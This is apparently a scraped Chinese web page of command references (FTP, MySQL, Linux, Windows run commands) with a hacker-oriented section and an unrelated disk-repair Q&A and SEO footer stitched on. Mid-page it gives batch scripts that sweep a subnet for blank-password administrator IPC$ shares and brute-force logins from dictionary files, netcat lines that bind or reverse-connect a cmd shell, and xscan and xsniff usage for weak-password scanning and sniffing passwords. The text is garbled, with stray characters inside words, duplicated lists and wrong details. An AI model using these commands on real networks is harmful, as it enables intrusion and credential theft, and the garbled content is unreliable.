rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name 重新以别的用户名登录远端主机

open host 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote－dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

#5 五：

MYSQL 命令：

mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。

（例：mysql -h110.110.110.110 -Uroot -P

注:u与root可以不用加空格，其它也一样）

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）

show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。

use mysql；

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名；

create table 表名 (字段设定列表)； 建表

drop database 库名;

drop table 表名； 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump –opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。

win2023系统下新增命令（实用部份）：

shutdown /参数 关闭或重启本地或远程主机。

参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。

例：shutdown /r /t 0 立即重启本地主机（无延时）

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。

#6 六：

Linux系统下基本命令： 要区分大小写

uname 显示版本信息（同win2K的 ver）

dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat >abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件，rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录，目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。

ftp ftp连接上某服务器（同win2K）

附：批处理命令与变量

1：for命令及变量 基本格式：

FOR /参数 %variable IN (set) DO command %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。

批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的之一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和()(),{ “()”之一个”1″指起始值，第二个”1″指增长量，第三个”254″指结束值，即：从1到254；“()”说明：即从254到1 }

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开

command_parameters：为特定命令指定参数或命令行开关

IN (set)：指在(set)中取值；DO command ：指执行command

参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。

用法举例：

@echo off

echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in () do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find “命令成功完成” >>test.txt

存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有”命令成功完成”信息；%1.%%G 为完整的IP地址；() 指起始值，增长量，结止值。

@echo off

echo 用法格式：ok.bat ip

FOR /F %%i IN (D:\user.dic) DO b.exe %1 %%i D:\pass.dic 200

存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

#7 七：

2：if命令及变量 基本格式：

IF errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。

例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。

0 指发现并成功执行（真）；1 指没有发现、没执行（假）。

IF 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。

例：“if “%2%”==”4″ goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加” “）

IF exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。

例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到”:end”标签处。

IF errorlevel 数字 命令语句 else 命令语句或 IF 字符串1==字符串2 命令语句 else 命令语句或 IF exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用括起来，因为del命令要单独一行时才能执行，用上后就等于是单独一行了；例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”

（二）系统外部命令(均需下载相关工具)：

1、瑞士军刀：nc.exe

参数说明：

-h 查看帮助信息

-d 后台模式

-e prog程序重定向，一但连接就执行〔危险〕

-i secs延时的间隔

-l 监听模式，用于入站连接

-L 监听模式，连接天闭后仍然继续监听，直到CTR+C

-n IP地址，不能用域名

-o film记录16进制的传输

-p端口 本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出，用-vv将更详细

-w数字 timeout延时间隔

-z 将输入，输出关掉（用于扫锚时）

基本用法：

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.扫锚192.168.0.1的端口

nc -l -pt -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

nc -t -e c:winntsystem32cmd.exe 192.168.0.梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

高级用法：

nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止

nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt

nc -L -p 80 存放文件的路径及名称 传送文件到对方主机

备 注：

| 管道命令

重定向命令。“> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中

>与>>的区别 “>”指：覆盖；”>>”指：保存到(添加到）。

如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把之一次的覆盖了。

#8 八：

2、扫锚工具：xscan.exe

基本格式

xscan -host 扫锚”起始IP到终止IP”段的所有主机信息

xscan -file 扫锚”主机IP列表文件名”中的所有主机信息

检测项目

-active 检测主机是否存活

-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）

-port 检测常用服务的端口状态

-ftp 检测FTP弱口令

-pub 检测FTP服务匿名用户写权限

-pop3 检测POP3-Server弱口令

-tp 检测TP-Server漏洞

-sql 检测SQL-Server弱口令

-b 检测NT-Server弱口令

-iis 检测IIS编码/解码漏洞

-cgi 检测CGI漏洞

-nasl 加载Nessus攻击脚本

-all 检测以上所有项目

其它选项

-i 适配器编号 设置网络适配器, 可通过”-l”参数获取

-l 显示所有网络适配器

-v 显示详细扫描进度

-p 跳过没有响应的主机

-o 跳过没有检测到开放端口的主机

-t 并发线程数量,并发主机数量 指定更大并发线程数量和并发主机数量, 默认数量为100,10

-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机

xscan -host 192.168.1.1-192.168.255.255 -port -b -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，更大并发线程数量为150，跳过没有检测到开放端口的主机

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，更大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机

#9 九：

3、命令行方式嗅探器: xsniff.exe

可捕获局域网内FTP/TP/POP3/HTTP协议密码

参数说明

-tcp 输出TCP数据报

-udp 输出UDP数据报

-icmp 输出ICMP数据报

-pass 过滤密码信息

-hide 后台运行

-host 解析主机名

-addr IP地址 过滤IP地址

-port 端口 过滤端口

-log 文件名 将输出保存到文件

-asc 以ASCII形式输出

-hex 以16进制形式输出

用法示例

xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

1. gpedit.msc—–组策略

2. sndrec录音机

3. NslookupIP地址侦测器

4. explorer打开资源管理器

5. logoff注销命令

6. tsshutdn秒倒计时关机命令

7. lusrmgr.msc—-本机用户和组

8. services.msc—本地服务设置

9. oobe/msoobe /a—-检查XP是否激活

10. notepad打开记事本

11. cleanmgr垃圾整理

12. net start messenger—-开始信使服务

13. compmgmt.msc—计算机管理

14. net stop messenger—–停止信使服务

15. conf启动netmeeting

16. dvdplayDVD播放器

17. charmap启动字符映射表

18. diskmgmt.msc—磁盘管理实用程序

19. calc启动计算器

20. dfrg.msc磁盘碎片整理程序

21. chkdsk.exe—–Chkdsk磁盘检查

22. devmgmt.msc— 设备管理器

23. regsvr32 /u *.dll—-停止dll文件运行消配

24. drwtsn系统医生

25. rononce -p秒关机

26. dxdiag检查DirectX信息

27. regedt注册表编辑器

28. Msconfig.exe—系统配悉差置实用程序

29. rsop.msc组策略结果集

30. mem.exe显示内存使用情况

31. regedit.exe—-注册表

32. winchatXP自带局域网聊天

33. progman程序管理器

34. winmsd系统信息

35. perfmon.msc—-计算机性能监测程序

36. winver检查Windows版本

37. sfc /scannow—–扫描错误并复原

38. taskmgr—–任务管理器（2023／xp／2023

39. winver检查Windows版本

40. wmimgmt.msc—-打开windows管理体系结构(WMI)

41. wupdmgrwindows更新程序

42. wscriptwindows脚本宿主设置

43. write写字板

44. winmsd系统信息

45. wiaacmgr扫描仪和照相机向导

46. winchatXP自带局域网聊天

47. mem.exe显示内存使用情况

48. Msconfig.exe—系统配置实用程序

49. mplayer简易widnows media player

50. mspaint画图板

51. mstsc远程桌面连接

52. mplayer媒体播放机

53. magnify放大镜实用程序

54. mmc打开控制台

55. mobsync同步命令

56. dxdiag检查DirectX信息

57. drwtsn系统医生

58. devmgmt.msc— 设备管理器

59. dfrg.msc磁盘碎片整理程序

60. diskmgmt.msc—磁盘管理实用程序

61. dcomcnfg打开系统组件服务

62. ddeshare打开DDE共享设置

63. dvdplayDVD播放器

64. net stop messenger—–停止信使拿陆指服务

65. net start messenger—-开始信使服务

66. notepad打开记事本

67. nslookup网络管理的工具向导

68. ntbackup系统备份和还原

69. narrator屏幕“讲述人”

70. ntmgr.msc—-移动存储管理器

71. ntmsoprq.msc—移动存储管理员操作请求

72. netstat -an—-(TC)命令检查接口

73. syncapp创建一个公文包

74. sysedit系统配置编辑器

75. sigverif文件签名验证程序

76. sndrec录音机

77. shrpubw创建共享文件夹

78. secpol.msc—–本地安全策略

79. syskey系统加密，一旦加密就不能解开，保护windows xp系统的双重密码

80. services.msc—本地服务设置

81. Sndvol音量控制程序

82. sfc.exe系统文件检查器

83. sfc /scannow—windows文件保护

84. tsshutdn秒倒计时关机命令

85. tourstart——xp简介（安装完成后出现的漫游xp程序）

86. taskmgr任务管理器

87. eventvwr事件查看器

88. eudcedit造字程序

89. explorer打开资源管理器

90. packager对象包装程序

91. perfmon.msc—-计算机性能监测程序

92. progman程序管理器

93. regedit.exe—-注册表

94. rsop.msc组策略结果集

95. regedt注册表编辑器

96. rononce -p秒关机

97. regsvr32 /u *.dll—-停止dll文件运行

98. regsvr32 /u zipfldr.dll——取消ZIP支持

99. cmd.exeCMD命令提示符

100. chkdsk.exe—–Chkdsk磁盘检查

101. certmgr.msc—-证书管理实用程序

102. calc启动计算器

103. charmap启动字符映射表

104. cliconfgSQL SERVER 客户端网络实用程序

105. Clipbrd剪贴板查看器

106. conf启动netmeeting

107. compmgmt.msc—计算机管理

108. cleanmgr垃圾整理

109. ciadv.msc——索引服务程序

110. osk打开屏幕键盘

111. odbcadODBC数据源管理器

112. oobe/msoobe /a—-检查XP是否激活

113. lusrmgr.msc—-本机用户和组

114. logoff注销命令

115. iexpress木马捆绑工具，系统自带

116. NslookupIP地址侦测器

117. fgmt.msc—–共享文件夹管理器

118. utilman辅助工具管理器

119. gpedit.msc—–组策略

XP.CMD命令大全

有关某个命令的详细信息，请键入 HELP 命令名

ASSOC 显示或修改文件扩展名关联。

AT 计划在计算机上运行的命令和程序。

ATTRIB 显示或更改文件属性。

BREAK 设嫌此弊置或清除扩展式 CTRL+C 检查。

CACLS 显示或修改文件的访问控制列表(ACLs)。

CALL 从另一个批处理程序调用这一个。

CD 显示当前目录的名称或将其更改。

CHCP 显示或设置活动代码页数。

CHDIR 显示当前目录的名称或将其更改。

CHKDSK 检查磁盘并显示状态报告。

CHKNTFS 显示或修改启动时间磁盘检查。

CLS 清除屏幕。

CMD 打开另一个 Windows 命令解释程序窗口。

COLOR 设置默认控制台前景和背景扒者颜色。

COMP 比较两个或两套文件的内容。

COMPACT 显示或更改 NTFS 分区上文件的压缩。

CONVERT 将 FAT 卷转换成 NTFS。您不能转换

当前驱动器。

COPY 将至少一个文件复制到另一个位置。

DATE 显示或设置日期。

DEL 删除至少一个文件。

DIR 显示一个目录中的文件和子目录。

DISKCOMP 比较两个软盘的内容。

DISKCOPY 将一个软盘的内容复制到另一个软盘。

DOSKEY 编辑命令行、调用 Windows 命令并创建宏。

ECHO 显示消息，或将命令回显打开或关上。

ENDLOCAL 结束批文件中环境更改的本地化。

ERASE 删除至少一个文件。

EXIT 退出 CMD.EXE 程序(命令解释程序)。

FC 比较两个或两套文件，并显示

不同处。

FIND 在文件中搜索文字字符串。

FINDSTR 在文件中搜索字符串。

FOR 为一套文件中的每个文件运行一个指定的命令。

FORMAT 格式化磁盘，以便跟 Windows 使用。

FTYPE 显示或修改用于文件扩展名关联的文件类型。

GOTO 将 Windows 命令解释程序指向批处芹族理程序

中某个标明的行。

GRAFTABL 启用 Windows 来以图像模式显示

扩展字符集。

HELP 提供 Windows 命令的帮助信息。

IF 执行批处理程序中的条件性处理。

LABEL 创建、更改或删除磁盘的卷标。

MD 创建目录。

MKDIR 创建目录。

MODE 配置系统设备。

MORE 一次显示一个结果屏幕。

MOVE 将文件从一个目录移到另一个目录。

PATH 显示或设置可执行文件的搜索路径。

PAUSE 暂停批文件的处理并显示消息。

POPD 还原 PUSHD 保存的当前目录的上一个值。

PRINT 打印文本文件。

PROMPT 更改 Windows 命令提示符。

PUSHD 保存当前目录，然后对其进行更改。

RD 删除目录。

RECOVER 从有问题的磁盘恢复可读信息。

REM 记录批文件或 CONFIG.SYS 中的注释。

REN 重命名文件。

RENAME 重命名文件。

REPLACE 替换文件。

RMDIR 删除目录。

SET 显示、设置或删除 Windows 环境变量。

SETLOCAL 开始批文件中环境更改的本地化。

SHIFT 更换批文件中可替换参数的位置。

SORT 对输入进行分类。

START 启动另一个窗口来运行指定的程序或命令。

SUBST 将路径跟一个驱动器号关联。

TIME 显示或设置系统时间。

TITLE 设置 CMD.EXE 会话的窗口标题。

TREE 以图形模式显示驱动器或路径的目录结构。

TYPE 显示文本文件的内容。

VER 显示 Windows 版本。

VERIFY 告诉 Windows 是否验证文件是否已正确

写入磁盘。

VOL 显示磁盘卷标和序列号。

XCOPY 复制文件和目录树。

appwiz.cpl添加删除程序

control userpasswords用户帐户设置

cleanmgr垃圾整理

CMD命令提示符可以当作是 Windows 的一个附件，Ping，Convert 这些不能在图形环境下 使用的功能要借助它来完成。

cmd——jview察看Java虚拟机版本。

command.com——调用的则是系统内置的 NTVDM，一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境，和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时，实际上也 是自动转移到 NTVDM虚拟机下，和 CMD 本身没什么关系。

calc启动计算器

chkdsk.exe—–Chkdsk磁盘检查

compmgmt.msc—计算机管理

conf启动 netmeeting

control userpasswords2—–User Account 权限设置

devmgmt.msc— 设备管理器

diskmgmt.msc—磁盘管理实用程序

dfrg.msc磁盘碎片整理程序

drwtsn系统医生

dvdplay启动Media Player

dxdiagDirectX Diagnostic Tool

gpedit.msc组策略编辑器

gpupdate /target:computer /force 强制刷新组策略

eventvwr.exe—–事件查看器

explorer打开资源管理器

logoff注销命令

lusrmgr.msc—-本机用户和组

msinfo系统信息

msconfig系统配置实用程序

net start (servicename)—-启动该服务

net stop (servicename)—–停止该服务

notepad打开记事本

nusrmgr.cpl同control userpasswords，打开用户帐户控制面板

NslookupIP地址侦测器

oobe/msoobe /a—-检查XP是否激活

perfmon.msc—-计算机性能监测程序

progman程序管理器

regedit注册表编辑器

regedt注册表编辑器

regsvr32 /u *.dll—-停止dll文件运行

route print——查看路由表

rononce -p秒关机

rsop.msc组策略结果集

rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen—-启动一个空白的Windows 图片和传真查看器

secpol.msc本地安全策略

services.msc—本地服务设置

sfc /scannow—–启动系统文件检查器

sndrec录音机

taskmgr—–任务管理器（适用于2023／xp／2023）

tsshutdn秒倒计时关机命令

winchatXP自带局域网聊天

winmsd系统信息

winver—–显示About Windows 窗口

wupdmgrWindows Update

winver检查Windows版本

wmimgmt.msc—-打开windows管理体系结构(WMI)

wupdmgrwindows更新程式

wscriptwindows脚本宿主设置

write写字板

winmsd系统资讯

wiaacmgr扫描器和照相机向导

winchatXP自带局域网聊天

mem.exe显示记忆体使用情况

Msconfig.exe—系统配置实用程式

mplayer简易widnows media player

mspaint画图板

mstsc远端桌面连接

mplayer媒体播放机

magnify放大镜实用程式

mmc打开控制台

mobsync同步命令

dxdiag检查DirectX资讯

drwtsn系统医生

devmgmt.msc— 设备管理器

dfrg.msc磁片碎片整理程式

diskmgmt.msc—磁片管理实用程式

dcomcnfg打开系统元件服务

ddeshare打开DDE共用设置

dvdplayDVD播放器

net stop messenger—–停止信使服务

net start messenger—-开始信使服务

notepad打开记事本

nslookup网路管理的工具向导

ntbackup系统备份和还原

narrator萤幕“讲述人”

ntmgr.msc—-移动存储管理器

ntmsoprq.msc—移动存储管理员操作请求

netstat -an—-(TC)命卖咐令检查介面

syncapp创建一个公事包

sysedit系统组睁氏态编辑程式

sigverif档签名验证程式

sndrec答录机

shrpubw创建共用档夹

secpol.msc—–本地安全策略

syskey系统加密，一旦加密就不能解开，保护windows xp系统的双重密码

services.msc—本地服务设置

Sndvol音量控制程式

sfc.exe系统档检查器

sfc /scannow—windows档保护

tsshutdn秒倒计时关机命令

tourstart——xp简介（安装完成后出现的漫游xp程式）

taskmgr任务管理器

eventvwr事件查看器

eudcedit造字程式

explorer打开资源管理器

packager物件包装程式

perfmon.msc—-电脑性能监测程式

progman程式管理器

regedit.exe—-注册表

rsop.msc组策略结果集

regedt注册表编辑器

rononce -p秒关机

regsvr32 /u *.dll—-停止dll档运行

regsvr32 /u zipfldr.dll——取消ZIP支持

cmd.exeCMD命令提示符

chkdsk.exe—–Chkdsk磁片检查

certmgr.msc—-证书管理实用程中早纯式

calc启动计算器

charmap启动字元对应表

cliconfgSQL SERVER 用户端网路实用程式

Clipbrd剪贴板查看器

conf启动netmeeting

compmgmt.msc—电脑管理

cleanmgr垃圾整理

ciadv.msc——索引服务程式

osk打开萤幕键盘

odbcadODBC资料源管理器

oobe/msoobe /a—-检查XP是否启动

lusrmgr.msc—-本机用户和组

logoff注销命令

iexpress木马捆绑工具，系统自带

NslookupIP地址侦测器

fgmt.msc—–共用文件夹管理器

utilman辅助工具管理器

gpedit.msc—–组策略

linux系统硬盘挂载不了，ntfsfix也安装不了

看mount信息，逗耐只是ntfs的

元数据

不一致，应该只是逻辑错误，软早羡件修复的可能性很大。

apt-get是ubuntu系列的命令，你这可能是centos系统，用yum install ntfsfix试山睁春试。

不用ntfsfix

你找链脊个Windows机器，用磁盘检棚配渗查或chkdsk命令，把U盘检查修复卖蔽一下

linux chkdsk磁盘检查的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于linux chkdsk磁盘检查,Linux下如何使用chkdsk命令进行磁盘检查,虚拟机新建linux系统时老出现”internal error”，卸载了重装后还是这个问题，请问高手如何解决？非常感谢！,开始-运行可以运行哪些命令，写全,linux系统硬盘挂载不了，ntfsfix也安装不了的信息别忘了在本站进行查找喔。